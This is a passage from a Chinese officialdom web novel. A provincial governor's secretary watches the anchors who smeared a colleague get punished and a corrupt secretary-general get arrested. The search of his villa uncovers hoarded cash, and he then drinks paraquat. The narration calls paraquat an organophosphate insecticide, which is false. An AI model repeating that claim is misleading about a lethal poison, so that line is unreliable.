索性,他选择全盘托出:“我昨晚见过秦秘书长,出门等电梯时,我听到在他里面打电话,说安排人今早去孟省长门口拍照。” “还说什么了?”李承问。 “我再没太听清,电梯就到了。”赖八法道。 “嗯,知道了。” 李承将烟蒂按灭在烟灰缸内,起身准备朝外走。 “李秘书,我没有害孟省长的意思,我也是被秦秘书长指使的,他是领导,我得罪不起,还请你帮我在孟省长面前美言几句。” 赖八法赔笑求情时,小跑到他的办公桌前,从抽屉里拿出一个信封后,又连忙跑回李承面前:“李秘书,一点心意,您笑纳。” “呵呵呵....赖台长的抽屉里,随时还备着钱啊。”李承挖苦一句。 “呵呵...” 赖八法尴尬的笑着,不知该如何作答。 “不想让他出现在孟省长的办公桌上,就拿回去。” 钱,李承是绝对不可能收的。 明里暗里,想要将李承踢出省政府办公厅队伍的人,不在少数。 李承今天敢收赖八法的钱,明天就可能有被查的风险。 在这个官路仕途上,若想立于不败之地,首先就要保证自己的清廉。 在李承言语威胁下,赖八法只好收回信封,送李承离开。 走过走廊拐角,李承看到了许梦。 此时的她正站在一个办公室门口,双拳紧紧握着,脸上写满了令人怜惜的委屈。 “她拒绝了那么多领导的邀请,我以为她是真单纯呢,原来是为了钓大鱼,这小骚货心眼子真多。” “哼,我早就说许梦是个骚婊子,怎么样,刚采访完孟省长就拿下了黄金挡,听说,她昨晚就是在孟省长的宾馆过的夜。” “哎呦,这个浪蹄子居然能傍上孟省长,以后还不好招惹了呢。” “怕什么,过往云烟而已,等孟省长玩腻了,就会将她像垃圾一样,丢到一旁。” “莉莉姐,到时候八点黄金档还得是你的,你才是我们省台的金牌主播。” “呵呵呵...那是当然。” 李承走到许梦身边,他知道许梦为何那般委屈。 里面的人,正在用一个女孩的清白,和一位省长的名誉来乱嚼舌根。 “别在外面听了,进去吧。” 李承伸出手,轻轻拍了一下许梦的后背,柔声说。 许梦刚刚在专注的听,没有注意到李承和赖八法。 被李承碰了一下,她一惊,连忙回过头。 当看到李承那张俊良的脸庞时,许梦就像一个受了很大委屈,豆大的泪珠盈满了眼眶,顺着她的脸庞流淌而下。 爱慕之人受了如此大的委屈,李承一阵心疼。 “没事,有我在呢。” 李承用手指摸掉她眼角的泪,温柔的笑了一下。 随后,他脸色一沉,推门走进办公室。 “那个骚货就....” 里面的议论声被李承的推门而打断。 几个女主播,停下手中补妆的动作,齐刷刷的看了过来。 “你谁呀?谁让你进这里来的!”黄莉莉冷冷的瞪着李承,质问。 李承没有讲话,他就站在这里,一股寒意从他的身上散发而出,那强势的气场,让几个女人心有畏惧。 尤其是看到随后走进来,梨花带雨的许梦和赖八法后,几个女主播纷纷低下头。 她们知道,自己刚才的议论被听见了。 “你们几个在背后乱嚼什么舌根,是不是都不想干了啊!” 赖八法严厉的呵斥着,他不是为许梦抱不平,而是在投桃报李,讨好李承。 这次他才刚刚明悟。 原来不是孟省长看中了许梦,才提出的人事调动,而是李承这位省政府的‘二号首长’与许梦关系匪浅。 “许梦能够上八点新闻,那是许梦个人能力的突出,论专业能力,样貌声音,你们几个谁能跟她比?” 赖八法继续训斥。 “赖台长,她要不是没和孟省长有关系,八点档怎么会轮到她!” 黄莉莉仰着下巴,一脸不服气的反驳。 别人不敢反驳赖八法,但她敢! 她能够长久的霸占八点档,是因为她背后有领导帮扶,所以,她才会这般肆无忌惮。 “你给我闭嘴!” 赖八法严肃呵斥的同时,不停给黄莉莉投眼神,示意她不要再说了。 “我凭什么闭嘴,我说错了吗?”可黄莉莉却很没眼力见,继续反驳。 看着她那副跋扈嚣张的样子,李承脸色更加阴沉。 “赖台长,议论省长名誉,诬陷同事清白,这种人还配出现在观众面前吗?” 李承冷漠开口,开口就是杀招。 诬陷同事清白顶多算行为作风问题,但身为公职人员,公然诋毁省长名誉,这个问题就严重了。 “李秘书,您放心,一定会严惩此事。”赖八法陪着笑脸,说。 “严惩是怎么严惩,开除?” 第51章 杀心 “开除不至于吧,这样,我给她调去跑户外。” 户外采访,是所有女主持人最不喜欢的岗位。 夏天要顶着炎炎烈日,为了保持镜头形象,还不能带防晒口罩和打伞。 冬天要扛着冰天雪地,即便瑟瑟发抖,也有坚持做完节目。 尤其是遇到什么恶劣天气,那更是遭罪。 从一个在办公室吹空调的黄金档女主播,调去户外,这对黄莉莉来说,绝对是严惩。 “赖台长,我不去户外!” 黄莉莉从椅子上站了起来,态度严厉的反驳。 “这由不得你!” 赖八法怒声呵斥,却依旧在给黄莉莉使眼色。 黄莉莉背后的男人是汉江市检察院的党组副书记赵金福,所以,黄莉莉才敢这么嚣张。 赵金福是赖八法得罪不起的人,可李承虽然职位低,但他身为孟省长的秘书,赖八法更得罪不起。 两个人之间,他是谁都不想得罪。 但如果今天必须挑选一个人得罪的话,赖八法会毫不犹豫的选择得罪赵金福。 得罪赵金福他不会丢了位置,但得罪了李承,李承在孟良德身边说几句耳边风,他就有可能丢了职位。 “黄莉莉,不要再多说了,从现在开始,你调去户外。”赖八法不容置疑的说。 “赖台长,赵书记可是亲自说让你照顾我的,你给我调去户外,你就不怕他迁怒于你吗?!” 黄莉莉此时也愤怒了,她直接搬出了自己的背景,想要压赖八法一头。 同时,她也是想在同事面前炫耀一番她的背景。 可闻听此言,赖八法的脸都气绿了。 他心中不停咒骂黄莉莉这个脑残,一点有眼力见没有。 这个时候,黄莉莉闭上嘴巴,服从安排去跑几天户外,等李承消了气,不记得此事了。 他再偷偷把黄莉莉调回来,这事也就解决了。 可现在,黄莉莉非要当着李承的面提她的背景,那麻烦就大了。 “你说的赵书记,是哪位呀?” 从进门之后,李承开口说出第二句话,面容依旧平静,却不怒自威。 “检察院党委副书记,赵金福。”黄莉莉昂起下巴,说。 她在李承的身上看到了官威,可毕竟李承太年轻了,在她眼里,李承就算官再大,以他这个年纪也爬不到什么高位上去。 而赵金福不仅是党组副书记,还兼任副检察长,高配副厅级。 至于赖八法对李承的谄媚态度,直接被她忽略不计。 一方面是愤怒冲昏头,另一方面,赖八法这个人对任何领导和领导身边人都是一副谄媚态度,她也见惯不怪。 “赵金福是你什么人?”李承淡淡的问。 赵金福这个人,李承对他有印象。 而且印象十分差,上次李承和许梦去酒吧,过来搭讪许梦的星河开发商,就是受赵金福唆使。 “你算哪根葱,他是我什么人跟你有关系吗?” 提到关系,黄莉莉内心很虚。 她和赵金福的床上关系,当然不可能说。 而这份心虚也幻化成了愤怒,让她冲李承咆哮。 “黄莉莉,你给我闭嘴,这是孟省长的秘书!”赖八法瞪着黄莉莉,厉声呵斥。 “啊?” 在听闻李承的真实身份,黄莉莉才意识到自己好像惹了祸,她诧异的了一声。 连忙悻悻的闭嘴,把头也垂了下去。 “李秘书,是我缺乏管理,您放心,我一定会严加惩戒。”训斥黄莉莉过后,赖八法低声下气的说道。 “你们省台确实该好好整改一番了,不管什么货色,只要有关系就能主持节目。 你们作为媒体单位,这种行为严重抹黑我省的形象,像这种关系户,必须要肃清!” 李承严肃的说完,他看向赖八法:“这事,还需要我跟孟省长打个招呼,让他亲自监督吗?” “不用,我一定整改。” 赖八法连忙摆手,这事一旦传到孟良德的耳朵里,他自己也脱不了干系。 “省电视台主持人,要有主持人的形象,你们这些主持人就跟农村妇女似的,整天就知道背后议论别人。 类似这种德行的人,必须要有相应的处分!这话是传到了我耳朵里,如果传到了群众的耳朵里,整个东江省都跟你们蒙羞!” 李承厉声提许梦出气撑腰。 一旁的许梦则感动不已,看向李承的目光中,充满了爱慕之情。 “我知道,李秘书,您放心。” ..... 省长办公室。 孟良德批阅着文件,见李承推门而进,他放下手中的笔:“问清楚了吗?” “赖台长说,是秦秘书长指使他做的一切,而且,他听见秦秘书长打电话说,今早如果许梦进入您的房间,会有人拍摄。” 李承如实向孟良德做出汇报。 闻言,孟良德的脸色十分阴沉。 秦海从孟良德上任,就一直在作死,而今,他的行为彻底突破孟良德的底线,让他动了杀心。 “我知道了。” 气氛沉默了几秒钟,孟良德这才开口。 他的声音虽一如既往的平静,可这份平静之下,是浓郁的肃杀之气。 “通知纪委书记李岳明过来见我。” “好的省长。” 李承点头,退出了孟良德的办公室。 李承清楚,秦海已经越过雷池,孟良德也准备对他动手了。 秦海是省政府办公厅的秘书长,正厅级干部。 孟良德虽为他的顶头上司,但想要动他,也不是一句话就能解决的简单事情。 需要一定的证据。 孟良德上任以来,发现秦海不能为己所用,反而一而再,再而三的阻碍他时,他就已经布局干掉秦海。 但毕竟关系到一个正厅级的人事问题,他也不能太过于草率。 本来孟良德为了避免打草惊蛇,还想再等一等,调查一下秦海背后的人,但这次,秦海已经构成了威胁,甚至准备先下手为强,孟良德不能再等下去了。 回到办公室,李承拿起桌子上的办公电话,拨通了省纪委的电话。 他没有资格直接打给纪委书记李岳明,只能拨通李岳明的公务秘书。 “你好,我是省政府孟省长的秘书,省长想约见李书记,请你安排一下时间。” 第52章 秦海被抓 孟良德是省部级正职,纪委书记李岳明是省部级副职。 行政级别上,孟良德高于李岳明。 但同为省委常委,省部级领导干部,孟良德并没有命令纪委书记的权力,遇到问题,主要是互相商议,达成共识后,再提出解决方案。 下午两点。 李岳明和随行公务秘书赶到省长办公室。 李承为两位领导沏好茶水后,和李岳明秘书一同退出了办公室。 两位领导的单独约见,是闭门会谈。 谈的是关于省政府办公厅秘书长秦海的问题,关系到秦海的仕途存亡。 “杨秘书,喝水。” 李承给李岳明的秘书杨朝倒了杯水,坐在了他的对面。 “谢谢。” 杨朝接过水,对李承表示感谢。 正当李承准备找话题与杨朝攀谈一番时,办公室的门被推开。 秘书长秦海一脸严肃的走了进来。 “秦秘书长。”李承起身,跟他打了一声招呼。 秦海目光先是看了一眼李承,随即落到了杨朝的身上,脸色一沉。 他显然是认识纪委书记李岳明的秘书。 “我要见孟省长。”秦海严肃的说。 “孟省长正在会客,现在不方便。”李承直言拒绝。 “我有急事要跟孟省长汇报。” 秦海说着,竟有闯进省长办公室的架势。 李承连忙迈前一步,挡在了秦海的面前:“秦秘书长,孟省长在会客,你有急事可以先跟我说。” “我给你说得着吗?你就是一个秘书,我才是省政府办公厅的一把手,让开!” 秦海推了李承一把,想要闯入进去。 想来,秦海也已经收到消息,猜到孟良德准备对他动手。 “我是孟省长的秘书,不是你的秘书,在没有孟省长的许可前,你不能闯进去!” 李承直接挡在了门口,态度十分坚定。 “行,那你进去汇报,就说我有要事汇报!”秦海很不爽李承,眼神充满戾气。 “孟省长在闭门见客,有什么急事,等孟省长见完客人,我会第一时间通知你。” 李承并没有准备进门去打扰孟良德。 两间办公室只有一门之隔,秦海扯着嗓门,声音肯定传入了孟良德的耳朵里。 里面在谈的,就是关于秦海的问题。 如果孟良德要见他,一定会叫他进去。 但孟良德没有,这就表明了孟良德的态度,作为专职秘书,李承自然要将这位‘不速之客’挡在外面。 “李承,你越来越长本事了是吧!” 秦海看着那间紧闭的办公室房门,知道孟良德也并不打算见他。 于是,他气呼呼的留下这句话,转身离开。 半个小时后,办公室房门打开。 孟良德和李岳明一同走了出来。 “岳明同志,这件事情辛苦你了。”孟良德道。 “良德同志言重了,肃清组织里的不良作风是我们纪委的工作职责。” 两人彼此寒暄几句,李岳明带着秘书离开了省政府。 “省长,刚才秦秘书长来过,说有紧急事情跟你汇报,被我拦下了。”李承汇报道。 “嗯,我听见了。”孟良德道。 “要通知他过来吗?”李承问。 “没这个必要了。” 闻言,李承心中一凛,他知道,秦海的好日子到头了。 孟良德何等人也? 他没有万全的把握,和十足的证据,又怎么会轻易对一位正厅级干部动手。 这一次,秦海在劫难逃。 ..... 次日上午。 李承在办公室看文件时,听到门外一阵喧嚣。 “你们凭什么抓我,我要见李岳明!”秦海怒声抗拒。 “秦秘书长,我们掌握证据,你涉嫌多起贪污案,请你配合我们调查!”一道严肃的声音,反驳了秦海。 李承没想到纪委动作这么快,短短不到一天时间就已经对秦海采取行动。 他推开房门,走了出去。 好奇心是人的本能,何况,被抓的人还是自己的敌人,李承当然想凑个热闹。 他走出门口,发现走廊里已经站了很多人,探个脑袋凑热闹。 “我没有贪污,我秦海对得起组织,对得起人民,我尽职尽责这么多年,你们不能这样对我!”秦海咆哮着。 “秦秘书长,我们只是请你去配合调查,如果你没问题,组织不会冤枉你。”纪委副书记孙伟说。 “我可以配合调查,但我要见李岳明,让他来我办公室,我配合他。”秦海态度强硬。 听到这话,李承嘴角泛起一抹不屑的笑容。 秦海现在是被恐惧冲昏了头脑。 他一个正厅级干部,居然还摆起了官架子,让一位副部级干部来见他,实在是搞笑。 “秦秘书长,这里是省政府办公厅,我们不想给你戴手铐,麻烦你自重。” 纪委同样配有手铐,一般都是到了迫不得已的情况下,才会使用。 毕竟,他们抓的犯人普遍是官员领导,还是要给一些体面。 但碰到秦海这种顽固的,拒不伏法的,也只能通过强硬手段。 “我会自己走!” 秦海听说要给他戴手铐,他看着周围围观的办公厅下属们,也知道自己在劫难逃,选择体面的方式。 李承站在门口,注视着秦海从自己身边路过。 秦海的目光也看向了他,没有讲话,可眼神中却有着一种滔天的恨意。 他恨得不是李承,李承在这场权力斗争中,是一个小喽啰的角色,不起眼。 他恨的人是李承背后的孟良德。 秦海被纪委带走了,李承看着他那没落凄凉的背影消失在拐角,心里感慨万千。 省办公厅秘书长,正厅级干部,放眼全省的公职人员,秦海也在金字塔尖上。 可这位曾经无比辉煌的大领导,却依旧没能逃过法律制裁的命运。 在这场政治游戏里,犯错误不可怕,可怕的是,你明明犯了错误,却还站错了的队伍。 秦海认为孟良德这位空降省长在东江省干不了多久,他赌在这场政治游戏里,孟良德会输,于是他站在了孟良德的对面。 可他殊不知,政治游戏没有结束,但他这个对方阵营的‘车马炮’率先被干掉了。 李承不敢保证自己站的队伍就能赢。 所以,为了避免重蹈覆辙秦海的老路,李承警醒自己不要不触发纪律红线。 自身干净,即便站队错误,也不会落得个锒铛入狱的下场! 第53章 棋局 秦海被带走没多久,常务副省长徐铁生走了进来,说要见孟省长。 常务副省长是省政府真正的二把手,李承不敢怠慢,连忙起身去请示孟良德。 待到孟良德点头后,李承将徐铁生请了进去。 “孟省长,秦秘书长这人我了解,他虽刻薄,也不太懂得人情世故,但绝对是一个好同志。” 徐铁生刚进门,就急匆匆的替秦海打起保票。 他知道,秦海被调查,背后是孟良德在推波助澜。 想要保住秦海,首先第一步,就要让孟良德先松口。 “是不是好同志,有没有违法乱纪的行为,纪委会给出公正结果。”孟良德语气平静的说。 他委婉回绝,态度却十分明确。 “秦海有没有问题,我觉得现在都不是一个合适的时机,你刚上任不久,最近又因锦绣广场的妥善处理,在民众心中积累下好印象。 这个时候,如果你手下的秘书长被撤职,对你也有会有一定的印象。 而且,秦海毕竟在省办公厅工作多年,很多大事小情都是他一把抓,突然撤职也有损省政府的政治稳定。 我觉得,至少再等一等。” 徐铁生摆出一副我是为你好的架势,劝说起孟良德。 可他是否有私心,是否在保护秦海,这就耐人寻味了。 两个人的谈话并没有回避李承的意思,再给徐铁生倒了一杯茶后,李承索性也就没有离开。 “铁生同志,如果你只是为秦海的事情而来,那么你可以请回了,我还有公务要处理。” 孟良德态度决绝,不愿再谈秦海的事儿。 秦海的行为已经碰触了孟良德的红线,像他这种杀伐果断的领导,不出手则已,出手必定达成目的。 闻言,徐铁生脸色变了又变。 他端起水杯,小口小口的喝水,平静自己的内心后,继续说:“我这次过来,是想就审计厅厅长一职上,跟你商议一下合适人选。 审计厅是孟省长你的主管单位,我觉得,这个厅长一职,还是由信任的人来做,更有利于日后工作开展。” 审计厅厅长梁群易同志即将退休,省里需要一个合适人选来接替他的职位。 孟良德主管审计厅,他自然希望这个职位落到自己人的手里。 但人事任命,是要由组织部提议人选,省委常委开会决定,不是某一个人说的算。 “铁生同志,有什么合适人选?”孟良德点燃一根香烟,淡淡的问。 “我觉得王前同志就很不错,金河集团一案,他功不可没,又深受你的信任。” 徐铁生提议王前,是因为他知道,王前是孟良德的人。 孟良德作为空降领导,虽是东江省的二把手,但在常委会议上的话语权有限。 多数常委都是省委书记马洪波的人,所以,若是孟良德想让王前这位审计厅的副厅长更进一步,就需要拉拢徐铁生那一票。 徐铁生这次来的目的,就是想用自己在常委会议上的宝贵一票,来换取秦海的安然无恙。 孟良德自然清楚徐铁生的算盘,他笑着摇了摇头:“人事任命的事,还是交给省委常委投票表决吧。 我相信,不管哪个同志成为审计厅厅长,都会担起这份职责。” “嗯,孟省长所言极是,那我不打扰了。” 徐铁生知道,这次孟良德是准备对秦海不留活口,多说下去也毫无意义,起身告辞。 徐铁生走后,孟良德的脸色从平静逐渐阴沉下去。 李承看出省长有心事,也不多嘴,给他倒上茶水,便准备退出办公室。 “通知王师傅,我们去一趟省委。”孟良德深深的吸掉最后一口香烟,掐灭烟蒂,说。 孟良德当然希望王前可以胜任审计厅厅长一职,他也很清楚,徐铁生可以帮到他。 徐铁生这次来,代表的不止是他个人的意愿,还有他背后的人。 算上徐铁生,以及他背后人的力量,孟良德想要在常委会议上拿下审计厅厅长的职位,是有很大机会的。 但这不是用秦海交换的理由。 一来,秦海本身存在问题,不可包庇,如果他参与进去,反倒是露出马脚。 二来,秦海在省办公厅始终是一根毒刺,插在孟良德的背脊上,这个人不处,省政府工作的开展都要受到阻碍。 所以,无论如何,借着这个机会,孟良德一定要除掉秦海。 ...... 李秘书,你去一趟省纪委,跟进一下秦海的调查。” 专车停在省委大院,李承为孟良德拉开车门后,孟良德交代说:“让王师傅送你就行。” “好的省长。” 孟良德要去见的是省委书记马洪波,两个人要商量的事情,是关于秦海的问题,以至于审计厅厅长的人事任命问题。 这种闭门会谈,谈的不仅是工作,也是一种权力置换,需要严格保密。 别说是李承这位刚上任不久的秘书,就连跟了马洪波三年的秘书,也没有资格在旁参与。 “李秘书,听说秦秘书长被抓了?” 没有孟良德在车上,王师傅也放松了很多,闲聊的问道。 “嗯。”李承点头。 人是在省办公厅抓的,事情早就传开了。 “你说他一个省政府的秘书长,不跟着省长身边马首是瞻,偏偏要唱反调,他也是活该。”王师傅吐糟道。 “在被抓之前,他或许认为自己选择了更好的队伍,政治斗争,我们这些小人物参不透。” 李承叹了口气,望向窗外的眼神中,有几分忧虑。 他感觉,孟良德在与别人下一局大棋。 秦海就是对方在棋场上,输掉的一枚炮。 这一回合,看似孟良德取得了胜利,可在棋盘对弈中,变化莫测,不到最后一刻绝杀时,那段胜负。 而李承自己是否能见证这场棋局的结束呢? 那个时候,他还会在棋盘上吗? 还是像秦海一样,被对方的执棋手吃掉,甚至于被孟良德舍弃。 曾经,李承觉得自己当上了孟良德的秘书是一飞冲天,可现在,他不知道自己的未来是如何一般景象... 第54章 巨额财富 省纪委。 “孙书记,孟省长让我来跟进一下审讯情况,秦海交代了吗?” 李承赶到时,纪委副书记孙伟刚从审讯室出来,李承快步上前,询问道。 他这算明知故问。 以秦海的德行,不到最后一刻,他都不会坦白交代。 “一句话不肯说,他还在幻想着有人能给他捞出去。” 孙伟轻哼一声,说:“我们正准备去他家里搜查,你要一起吗?” “好。”李承点头。 坐着纪委的车,李承跟着孙伟等人,羁押着秦海来到了他家中。 “你们这是带我去哪,这不是我家!” 汽车停在了一个高档别墅区,秦海下了车,看着周围的环境,急忙反问。 在他的眼神中,闪过几抹慌乱。 “秦秘书长,这6303幢,不是你家吗?”孙伟指着铁门紧锁的独栋别墅,淡淡的问。 “开什么玩笑,我怎么可能住得起这种别墅,我家在省政府家属楼一号楼303。”秦海反驳道。 “是吗?但据我们调查,这套房在你小舅子名字,一直是你老婆和儿子在住。” 孙伟说着,冲下属使了一个眼色。 下属走上前,按响了门铃。 “那我不知道,我和我前妻离婚十几年了,我儿子跟我也不来往,那是他们的事,跟我没关系。”秦海之口否认。 “金河集团的潘男已经交代了,这套房是他贿赂你的,挂在你小舅子名下,你还有什么好狡辩的?” 自从在病房,潘男向李承坦白陷害杨兆华的幕后主使是秦海后,索性他就将整条关于秦海的线,全部交代。 “他放屁,我跟他都不认识。”秦海恶狠狠的反驳。 他没想到,潘男这么快就将他给出卖了。 ‘咯吱’ 就在这时,别墅的门打开,一位打扮时髦的贵妇人走了出来。 正是秦海的前妻,刘岚。 看到丈夫与一群同志前来,刘岚顿感大事不妙。 “秦海,你怎么来了?”刘岚摆出一副疏远的样子,冷声问。 “我们是省纪委的,据调查,这套别墅是秦海受贿而来,这是搜查令,请你配合开门。” 一名纪委的同志亮明身份,又将搜查令拿了出来。 “这是我弟弟的房子,跟他有什么关系,你们搞错了。”说着,刘岚就要关门回屋。 “如果你拒不配合,我们将采用强制手段。”纪委同志严厉说。 ‘咣’ 可刘岚并没有理会,直接将房门关闭。 见状,孙伟脸色一板,道:“破门。” 纪委依法持证搜查,面对拒不开门的情况,可以强制破门搜查。 很快,在专业人士的开锁破门下,别墅的大门被打开。 在这个期间,秦海始终乱喊乱叫,却无人理会他。 一行人走进别墅。 里面的装修金碧辉煌,如同宫殿一般,各种各样的字画,花瓶,摆设在全屋。 客厅里,有一个偌大的酒柜。 里面摆满了酒,很多李承不认识,但绝对价值不菲。 毕竟,普通的飞天茅台来摆放的资格都没有,而是成箱成箱的堆积在角落。 “谁让你们进来的!” 刘岚似乎在藏着什么都行,看到纪委同志进来,连忙将东西藏在身后,呵斥道。 “我们依法进行搜查,还请你配合!”纪委同志严肃的说。 “她刚才藏的什么东西,小芹你们俩去看一下。” 孙伟敏锐看到刘岚的动作,命令手下。 “是。” 接到命令,两位纪委的女同志朝着刘岚逼近。 搜查队伍中有女同志,就是为了方便应对女性家属。 “这是我自己的动作,你们干什么。” 看到纪委女同志逼近,一步步的向后倒退。 直至她被逼到墙角,退无可退后,刘岚直接将手里的东西塞进自己的胸部内衣中。 如果是男同志,还真就有些棘手。 但女同志方便很快,也不客气,两个人分别抓住刘岚的左右手,那位叫小芹的女同志,毫不客气的把手伸进了刘岚的胸口。 李承看到,当那件物品被翻出来时,刘岚那傲人的白皙胸脯,也被展露了大半。 见状,李承连忙回避开目光。 “你们欺负一个女人算什么本事,我和刘岚离婚十几年了,跟她有什么关系,我要见李岳明,我要告你们的状!” 秦海愤怒的吼着,可对于他的咆哮,所有人都选择了视而不见。 “孙书记。” 小芹将从刘岚身上搜出来的东西,递给了孙伟。 这是一张卡片,黑色的,上面都是英文。 看起来,像是一张银行卡,但李承不确定,他也没见过。 “瑞士银行,可以嘛。” 孙伟把玩着手中卡片,表现戏谑。 在省纪委工作多年,这些外国银行卡,身份绿卡,他见多了。 瑞士银行是公认最安全的银行,对客户信息十分保密,能够把钱转移到瑞士银行,在很多犯罪分子眼里,钱就已经属于落袋为安了。 所以,很多大贪官收受贿赂后,都会想尽办法,将钱洗白,转入国外。 瑞士银行就是首选。 “就是一张银行卡而已,怎么了?”刘岚质问道。 “不怎么,继续搜。” 苏伟摆了摆手,下令道。 在场的所有人都知道,这张银行卡里或许存着令人意想不到的天文数字。 可钱已经洗白到了瑞士,省纪委也无从追查。 在刘岚眼里,这张银行卡很重要,但对省纪委来说,这只能作为一个考证。 纪委人员检查的很仔细,墙壁,地面都会敲击,来确实是否有暗箱。 任何一个角落和细节,他们也都不会放过。 “孙书记,这边有发现。” 十几分钟后,地下室传来的汇报声。 孙伟闻言,朝着楼下走去,李承也紧跟而上。 当李承来到地下室,看到冰箱被挪开,后面敞开的暗门时,他的眼睛都被此等景象给震慑住。 一捆捆崭新的红色钞票,如同砖头一般累积起来。 孙伟走过去,弯下身,将下方的一捆钞票抽出来后,那些钞票像失去重心一般,啪啦啪啦的掉了下来。 撒满这个地面。 地面上撒满了现金,装钱的墙壁上出现一个巨大窟窿,而在窟窿里面,还是钱.... 第55章 服毒 “秦海,你还有什么要狡辩的吗?” 现金堆积如山,证据确凿,孙伟看着满地的现金,冷哼道。 证据暴露的那一刻,秦海面露绝望,他知道自己彻底完了。 以前还他抱有一线希望,幻想自己背后的领导能够捞他一把,可这些钱被发现,领导绝不可能再去为他冒险。 “这些钱都是我的,我自己挣的,跟秦海没关系,他不知情。”刘岚大包大揽,她想主动承担下一切。 在她看来,只要秦海还在,他们就还有机会。 “你的?你连工作都没有,你拿什么挣的,你能提供合法的收入来源吗?”孙伟反问。 “我....” 面对这个问题,刘岚不知该如何应答。 如果只是几万块,哪怕是几十万块,她都能想办法圆回去。 可这里面足足有几千万,任凭她想破脑袋,也没办法给这么大的一笔数字找出合适的理由。 “我卖身赚的,怎么了?我被富豪包养了,富豪给我的。”刘岚胡编乱造。 编造出的借口,简直令人滑稽可笑。 “呵呵呵....” 听到这个理由,在场众人无一例外,都露出了耐人寻味的笑容。 她就是镶金边的,也值不了这么多钱。 再说,哪个富豪会包养一个年老朱黄的女人,快六十岁的女人呢? “反正这个钱跟秦海没关系,都是我....” 刘岚还想强行辩解,可就在此时,秦海突然冲了出来,奔向远处的墙角。 “抓住他!” 孙伟一惊,他不知道秦海要做什么。 可这个时候,犯罪嫌疑人绝对不能有什么三长两短。 纪委的几个同事一拥而上,但还是慢了一步。 整个地下室的面积有限,秦海强跑一步,又似乎做出某种决心一般,近乎于飞扑似的跑到了墙角。 他拿起一个小瓶,迅速拧开后,朝着自己的口中灌。 纪委同志紧跟而上,抢夺掉那个小瓶,瓶中褐色的液体洒了满地,一股农药的刺鼻味道散发而开。 洒出的药水,甚至甩在那位纪委同志的一身。 可即便那位同志反应已经够快,却还是被秦海喝了一口。 “我草,是百草枯,快送他去医院!” 李承用手捂住鼻子,大喊道。 他从小生活在农村,虽然他没有看到瓶身上的字,但从瓶子形状,地上的药水,以及这股刺鼻的味道,他很快判定,秦海喝的是百草枯。 百草枯是有机磷杀虫剂,不仅能作用于农业防虫,对于人体的毒性也极强。 屁股接触,吸入蒸汽,都可能导致中毒,甚至于呼吸困难,昏迷或死亡。 当听说秦海喝的是百草枯时,那名抢夺瓶子的纪委同志腿都软了,他甚至顾不得秦海是否还会有过激反应,连忙跑去卫生间用水清洗身上的农药。 “带他去医院!” 孙伟同样大惊失色,连忙下达命令。 秦海现在是被纪委审讯阶段,还是由他亲自带队来家里搜查,在这个期间,一位正厅级干部出了什么三长两短,他政治生涯也就走到头了。 不仅如此,他还要承担主责,纪委副书记的位置都不保。 秦海被送去了医院,刘岚也被带到纪委问话。 而这次搜查,纪委在秦海的别墅里,搜查现金六千余万,金条重达十五公斤。 什么名酒,名茶,古董字画更是不计其数。 处理完秦海的事,已经是下班时间。 李承给孟良德打去一个电话,孟良德已经回到了招待宾馆。 他坐着公交车,也赶去了宾馆。 关于秦海的事情,他要当面向孟良德做汇报。 “医院那边怎么样?” 在听完李承将搜查到的金额,秦海喝药之事的整个过程做完汇报后,孟良德问。 他的表情古井无波,并没有因为纪委同志的失职,而又半点的情绪波动。 “医院方面已经给秦海洗胃,也使用了解毒药物,目前他的状态已经恢复平稳,但是....” 李承说到这里,不禁叹了一口气:“恐怕是无力回天。” “送医及时,用药正确,为什么还会无力回天?”孟良德问。 孟良德出生在军区大院,很少接触农业相关的事宜,对于百草枯也不了解。 在他看来,喝了农药之后,只要及时就医,是可以保住性命的。 “百草枯这种药,触碰皮肤时间过长都可能导致休克,秦海喝了一大口,很难救回来。 前年我老家有个邻居,小伙子因为感情问题喝了百草枯自尽,家人发现后及时就医,最开始病情也稳定下来了,可没过几天,全身器官出现衰竭,经过十几天的抢救,还是没能保住,死的很痛苦。” 李承将自己身边发生过喝百草枯自尽的案例,讲述给了孟良德做参考。 “哦。” 孟良德点了一根香烟,他深深吸了一口,表情古井无波,没有半点的波澜。 仿佛就算秦海死了,对他来讲,也是无关紧要的小事。 孟良德的目的,就是干掉秦海,至于他是被抓,还是死亡,对于孟良德的整盘大棋来讲,无伤大雅。 因为从一开始他就做好了秦海不会透露背后之人的准备。 “你吃饭了吗?”孟良德问。 “来之前,随便吃了一口。” 这个时间点,孟良德也一定吃过晚饭,李承便谎称自己也吃过了。 “那正好,陪我去打打羽毛球。” “好啊。” 孟良德再次吸了一口烟后,掐灭烟蒂,朝外走去。 招待宾馆的外面就有一个羽毛球场。 这个羽毛球场,原本是篮球场。 在孟良德上任之前,他们听说新省长喜欢打羽毛球,特意拆除了篮球场,改建成了羽毛球场。 李承羽毛球打的很好,上大学时,还是羽毛球校队的,谈不上专业,但对付孟良德这种纯业余的爱玩选手,还是很轻松愉快的。 如果李承想,他甚至可以不怎么挪动脚步,就能将孟良德溜到累趴下。 但对方是领导,自己是秘书,当然要讨好着来。 这场羽毛球是孟良德的娱乐,对李承来讲,仍然是工作,他要让领导开心和满意,让领导赢的痛快。 又不能显得自己过于放水.... 第56章 失落,惊喜 “年轻人,体力不行啊,不能总坐办公室,下班也要适当的锻炼。” 一个小时后,孟良德神清气爽的看着已经满头大汗,气喘吁吁的李承,说。 “老板,您的体质可比我们年轻人要强。” 李承擦了一把额头的汗,从孟良德手里接过球拍。 这次打球,他们打的有来有回,但多数还是孟良德赢。 李承这位校队的佼佼者,故意放手,反而被孟良德溜的团团转,在球场里到处跑着去接球。 他也看得出来,孟良德似乎很享受李承被他‘高超球技’溜到精疲力尽的感觉。 “接替秦海位置的人选已经有了,等常委会议结束,就能落实。”孟良德坐在一旁的长椅上,拧开水杯,小口小口的慢慢喝着。 “老板,这位新任秘书长是谁?” 孟良德主动向李承提及此事,就是有透露之意,李承也就问了起来。 “杨兆华。”孟良德道。 “恭喜啊老板。” 杨兆华是孟良德的老同学,是值得信任的自己人,也是李承的老领导。 他能调任省政府当秘书长,对孟良德来讲,是夺回了一个重要位置。 对李承来说,也是一件好事。 自己再也无需担心办公厅内部的钩心斗角。 杨兆华是汉江市的市委副书记,正厅级干部,省政府办公厅秘书长同样是正厅级。 看似平调,但从政治权力的角度看,属于是平级重用,升迁了一小步。 “没什么值得恭喜,这个位置不是白来的。” 孟良德摆了摆手,继续说:“省审计厅的厅长,王前无望了。” 闻言,李承便明白了。 下午孟良德去找省委书记马洪波,私下谈的就是人事问题。 